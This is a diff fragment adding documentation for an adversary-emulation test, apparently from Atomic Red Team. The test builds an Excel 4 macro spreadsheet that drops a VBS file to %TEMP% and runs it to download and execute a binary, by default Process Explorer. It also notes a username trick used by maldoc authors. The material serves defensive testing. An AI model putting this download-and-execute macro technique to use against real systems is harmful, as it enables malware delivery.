+## Atomic Test #6 - Excel 4 Macro
+This module creates an Excel 4 Macro (XLM) enabled spreadsheet and executes it. The XLM will first write a "malicious"
+VBS file to %TEMP%, then execute this file. The VBS will download Process Explorer to the same directory (%TEMP%) and exec.
+
+A note regarding this module. By default, this module will pull the current username from the system and places it into the macro. If
+you'd like to utilize the "=GET.WORKSPACE(26)" method, that many maldoc authors use, you will need to ensure that the User Name associated
+with Excel matches that of the local system. This username can be found under Files -> Options -> Username
+
+**Supported Platforms:** Windows
+
+
+
+
+#### Inputs:
+| Name | Description | Type | Default Value | 
+|------|-------------|------|---------------|
+| download_url | Download URL | String | https://live.sysinternals.com/procexp.exe|
